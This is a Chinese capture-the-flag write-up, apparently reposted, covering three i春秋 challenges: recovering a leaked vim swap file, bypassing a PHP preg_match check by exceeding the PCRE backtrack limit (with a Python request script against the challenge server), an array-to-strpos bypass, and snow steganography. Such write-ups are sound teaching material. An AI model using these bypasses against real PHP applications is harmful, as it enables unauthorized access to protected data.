「CTF心得」i春秋不欢乐赛涨的姿势

栏目: PHP · 发布时间: 6年前

内容简介:这题就比较有意思了(个屁)首先提示

gift php plus

「CTF心得」i春秋不欢乐赛涨的姿势

这题就比较有意思了(个屁)

首先提示 Do you know .swp file?

然后用WangYiHang大佬的 工具 扫一下后台,找到.index.php.swp这个文件,然后扔到 Linux 里用vi恢复

vi -r 文件名 #swp文件是vi不正常退出产生的,用-r可以恢复

然后审计代码

<?php
function areyouok($greeting){
    return preg_match('/Merry.*Christmas/is',$greeting);
}

$greeting=@$_POST['greeting'];
if(!is_array($greeting)){
    if(!areyouok($greeting)){
        if(strpos($greeting,'Merry Christmas')!==false){
            echo 'Merry Christmas. '.'flag{xxxxxx}';
        }else{
            echo 'Do you know .swp file?';
        }
    }else{
        echo 'Do you know PHP?';
    }
}
?>

代码很简单,绕过条件也很清晰

1.传入不为数组

2.不匹配 /Merry.*Christmas/is 这个正则

3. strpos($greeting,'Merry Christmas') 不等于fales

也就是说传入的参数要带有 Merry Christmas 又要不满足 /Merry.*Christmas/ 这个正则,一开始也是毫无头绪,后来在大佬的提示下,知道了利用 php 的PCRE回溯次数限制绕过这个正则。

具体的因为php的回溯是有上限的

var_dump(ini_get('pcre.backtrack_limit'));//1000000

如果超过这个上限就返回一个false。也是就说,在匹配到*号时,他会匹配任意个字符,那么我们传入1000000个字符,然后他匹配全部的字符后,要开始验证下一个匹配,这个体力就是C,然后他开始从最后一个往前回溯,这里有1000000个字符+Christmas然后当他回溯1000000个后没匹配到C那么他就返回一个False。就饶过了。

这里在写的时候还碰到了一个问题,就是 strpos() 函数,当Merry Christmas+100w个字符传入后,strpos()应该匹配的是他的位置,然而Merry Christmas他在首位所以应该返回0,在弱比较下0应该等于false,想了很久才发现这里是强比较。嗯wcsl。。。

附一个绕过脚本

import requests

url='http://106.75.66.87:8888/'
longStr=''
for i in range(1000000):
    longStr+='a'
greeting={
    'greeting':'Merry Christmas'+longStr
}
res = requests.post(url=url,data=greeting)
print(res.text)

gift php

这里的代码和上面的式样的,就是没有判断数组,strpos()碰到数组的时候会返回false,所以传一个数组即可绕过

gift

也是和群里的大佬交流后得到提示,这里用的是html隐写技术,snow隐写,题目提示钥匙上刻了题目名呢。发现key就是title gift。然后丢到snow解密网站揭秘一下就iu好了。

snow解密连接

以上所述就是小编给大家介绍的《「CTF心得」i春秋不欢乐赛涨的姿势》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

The Effective Engineer

The Effective Engineer

Edmond Lau / The Effective Bookshelf, Palo Alto, CA. / 2015-3-19 / USD 39.00

Introducing The Effective Engineer — the only book designed specifically for today's software engineers, based on extensive interviews with engineering leaders at top tech companies, and packed with h......一起来看看 《The Effective Engineer》 这本书的介绍吧!

RGB转16进制工具
RGB转16进制工具

RGB HEX 互转工具

随机密码生成器
随机密码生成器

多种字符组合密码

HEX CMYK 转换工具
HEX CMYK 转换工具

HEX CMYK 互转工具